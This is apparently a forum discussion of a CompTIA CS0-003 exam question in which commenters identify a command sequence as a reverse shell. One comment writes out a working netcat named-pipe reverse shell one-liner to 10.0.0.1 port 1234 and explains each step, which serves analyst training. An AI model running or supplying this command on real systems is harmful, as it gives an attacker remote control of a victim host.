Exam CS0-003 topic 1 question 281 discussion

sh -i = always reverse shell

The provided command sequence is indicative of creating a reverse shell. Here's a breakdown of the command: bash rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f rm -f /tmp/f: Removes the file /tmp/f if it exists. mknod /tmp/f p: Creates a named pipe /tmp/f. cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f: Pipes the input from the named pipe to /bin/sh (starting an interactive shell), redirects the shell's input and output through netcat (nc), which then connects to the IP address 10.0.0.1 on port 1234, and sends the shell's output back through the named pipe.